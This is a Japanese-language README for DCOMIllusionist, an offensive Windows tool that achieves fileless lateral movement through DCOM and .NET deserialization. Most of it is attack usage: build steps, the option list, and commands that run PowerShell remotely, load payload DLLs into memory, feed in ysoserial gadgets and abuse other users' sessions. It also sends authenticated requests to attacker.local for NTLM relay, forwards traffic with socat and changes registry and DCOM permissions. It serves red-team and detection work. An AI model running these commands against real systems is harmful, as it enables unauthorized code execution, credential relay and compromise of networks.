
DCOMを利用したメモリ内およびファイルレスな横方向移動技術(.Netデシリアライゼーション経由)
Windows ファイルレス横移動テクニック。
このツールは、管理者権限を持っている場合にWindowsマシン上でリモートコード実行を可能にします。DCOMと、受信したオブジェクトを自動的にデシリアライズする.NET DCOMサーバーの動作を活用します。これにより、ディスクに書き込むことなく任意のコマンドを実行したりDLLをロードしたりすることが可能になります。
当初はJames Forshawによって特権昇格手法として発見されましたが、この方法は特定のレジストリキーをリモートで変更することで横移動に適応されました。さらに、DCOMを介したクロスセッションの悪用もサポートしており、任意のコマンドを別のユーザーセッション内でそのセッションのセキュリティコンテキストのもとで実行できます。
この手法はワークステーションとサーバーの両方で動作しますが、ターゲットマシンと攻撃者管理下のマシン間のネットワークアクセスが必要です。
詳細はこのセクションをご覧ください。
リリースが利用可能ですが、手動でビルドすることもできます:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANT]
このツールを正常に使用するには、攻撃側ホスト(昇格されたシェルを介して)とターゲットマシンの両方で管理者アクセスが必要です。
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Options:
-h, --help Show this help message and exit
-d, --debug Enable debug logging
-t, --target <value> Set the target hostname or IP
-p, --port <value> Set the target port (Default: 49765)
--clsid <value> Specify a CLSID (no curly braces)
--appid <value> Specify an AppID (no curly braces)
-s, --session <value> Provide a session identifier
-l --listen <host> Specify listener FQDN or IP
-g, --gadget <value> Specify gadget to use
--attacker-sid <value> Set the attacker's SID
--no-port-check Disable port availability check
--restore-backup <path> Restore registry from backup
--local-registry-only Only performs local registry modifications
--remote-registry-only Only performs remote registry modifications
--skip-local-registry-setup Skip local registry setup
--skip-remote-registry-setup Skip remote registry setup
--hku Perform remote registry operations on HKCU instead of HKLM
--fake-clsid Create fake CLSID with fake AppId
Attacks:
--ps-exec <args> Execute a command remotely using PSExec
--exec <cmd> Execute a command remotely
--exec-args <args> Args to pass to the command
--curl <url> Use curl-style web request payload
--file-write-src <src> File to write
--file-write-dst <dst> Destination path
--load-dll <path> Load a DLL into the remote process
--dll-class <value> Class in the DLL to execute (including namespace)
--dll-method <value> Static Method in the class to execute (Default: Run)
--yso-b64 <b64> Execute base64-encoded ysoserial payload
--test-network Check network access from target to attacker machine
--list-sessions List interactive sessions on the target
Examples:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Interactive user)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interactive user)
--session前述の通り、セッションを指定することで別のユーザーのセッション内で任意のコマンドを実行できます。
[!WARNING] これは、対話ユーザーのIDで実行されるように構成されたAppIDでのみ機能します。これは自動的に処理されるため、
--appid引数を指定する必要はありません。ツールはデフォルトで User Account Control Settings に関連付けられたAppIDを使用します。
[!IMPORTANT] 攻撃側マシンがドメインに参加している場合にのみ機能します。詳細はこちら。
--list-sessionsWTSEnumerateSessionsを使用してターゲット上のリモートの対話型およびアクティブなセッションを一覧表示します。
--listenターゲットマシンが攻撃者のホストに直接到達できない場合、エクスプロイトは失敗します。ただし、ターゲットが接続可能な中間マシンを指定することは可能です。socatのようなツールを使用して、この中間マシンから攻撃者のホストにトラフィックをリレーできます。
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidrunas /netonlyシェルからエクスプロイトを実行する場合、関連付けられたIDを自動的に取得できません。そのため、攻撃を成功させるには--attacker-sidオプションを使用して明示的に指定する必要があります。
--exec--execは--exec-argsと共に使用して、ターゲット上で任意のバイナリを実行できます:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTE]
--ps-execはそのラッパーに過ぎず、同じことは--ps-exec calcでも実現できます。
--curlCurlは、クロスセッションの悪用シナリオで役立ちます。マシンに対する管理者権限を持っており、例えばドメイン管理者がセッション3でアクティブな場合、.NETを介して純粋にそのユーザーに代わって認証済みHTTPリクエストを開始することが可能です。このリクエストを、ntlmrelayx.pyを実行している攻撃者管理マシンに送ることで、従来のNTLMリレー攻撃を実行し、ユーザーを侵害できます。
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dllディスクに触れることなく、任意のDLLを完全にメモリ内にロードすることが可能です。例えば:
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload
デフォルトでは、指定されたクラスの静的Runメソッド(パラメータなし)が実行されます。この動作は--dll-methodパラメータでカスタマイズできます。
--yso-b64高度なガジェット生成には、Ysoserial.netを使用できます。得られたBase64エンコードされたペイロードを直接提供でき、それはRolePrincipalインスタンス内にカプセル化され、ターゲットマシン上でデシリアライズされます。
[!WARNING] BinaryFormatterでのみ機能します。
--test-network通常のエクスプロイトと同じ操作を実行しますが、ダミーペイロードのみを送信して、ターゲットが攻撃者のマシンに接続できることを確認します。
--hkuHKLMレジストリルートキーの代わりにHKEY_USERSを使用することで、低特権ユーザーからすべてを悪用できます。これは、ユーザーがPerformance Log UsersまたはDistributed COM Usersグループのメンバーである場合に使用できます。この場合、正しいレジストリパスにアクセスするために--attacker-sidを指定する必要があります。また、書き込み可能なCLSIDも指定する必要があります(--fake-clsidを参照):
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a
--fake-clsid偽のCLSIDとAppIdを作成します。現在のユーザーまたは--attacker-sidがDCOMサーバーを起動・アクティブ化できるように、AppIdに権限が設定されます。これは、HKU上の低特権ユーザーからエクスプロイトを実行する場合に便利です。
PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creating fake CLSID
[+] New AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] New CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}
.NETで書かれたDCOMサーバーがオブジェクトを受信すると、IManagedObject DCOMインターフェースを照会します。インターフェースが存在する場合、サーバーはGetSerializedBufferメソッドを呼び出します。クライアントはオブジェクトのシリアル化されたバージョンで応答し、サーバーはそれをデシリアライズして、任意のコード実行につながります。これを成功させるには、被害マシンが攻撃者のホストに直接ネットワークアクセスできる必要があります(--listen参照)。
任意のDCOM OBJREFを偽装することで、ターゲットマシンを任意のリモートシステムにリダイレクトできます。例えば、socatを使用してポート135(および別の任意のポート)上のトラフィックを実際の攻撃者管理マシンに転送できます。James Forshawの概念実証では、後に"Potato"エクスプロイトの基盤となりましたが、彼はPointerMonikerのGUIDを使用してOBJREF内の任意のオブジェクトをマーシャリングしました。このアプローチは認証のトリガーに成功しましたが、その後のステップで失敗しました。代わりに標準マーシャラーのGUIDを使用することで、完全に機能する任意のOBJREFを作成して送信することが可能になります。
ただし、テストされたWindows Serverのバージョンでは、デフォルトで公開される.NET DCOMサーバーはありません。リモート操作を有効にするには、Windowsレジストリをリモートで変更して、カスタムAppIDを.NET CLSIDに関連付け、DCOM経由でアクセス可能にすることができます。AppIDを注意深く選択することで、セッションモニカーを介したクロスセッションの悪用も可能になり、ターゲットマシンに対話型セッションが存在する場合に機能します。これもJames Forshawによって発見され、こちらおよびこちらで詳述されています。
エクスプロイトを成功させるには、ターゲットサーバーがシリアル化されたオブジェクトデータ(ガジェット)を攻撃者管理マシンから取得する必要があります。そのためには、サーバーが攻撃者のホストに対して認証を行う必要があります。
AppIDが対話ユーザーのIDで実行されるように構成されていない場合、認証試行はAnonymousとして行われます。これを許可するには、攻撃者のマシンでデフォルトのDCOMアクセス権限を変更して、匿名のDCOM認証を受け入れるように構成する必要があります。
AppIDが対話ユーザーに関連付けられている場合、認証は指定されたセッション(--session経由)またはデフォルトではセッション0のユーザーのIDを使用して行われます。この場合、攻撃者のマシンはドメインに参加している必要があります。そのため、Everyoneグループが一時的にデフォルトのDCOMアクセス権限に追加され、認証を成功させます。
デフォルトのアクセス権限のみが変更され、起動およびアクティブ化の権限は変更されないことに注意することが重要です。すべての変更は操作が完了すると元に戻されます。問題が発生した場合に備えて、元の設定のバックアップが作成され、復元できます。
[!CAUTION] 攻撃者のマシンはエクスプロイト中に一時的に許可状態になりますが、すべての変更は後で元に戻されます。
TextFormattingRunPropertiesガジェットに関する研究に対して。彼は任意のDLLをメモリにロードする方法を示しました。これは--curlおよび--file-write攻撃で再利用されました。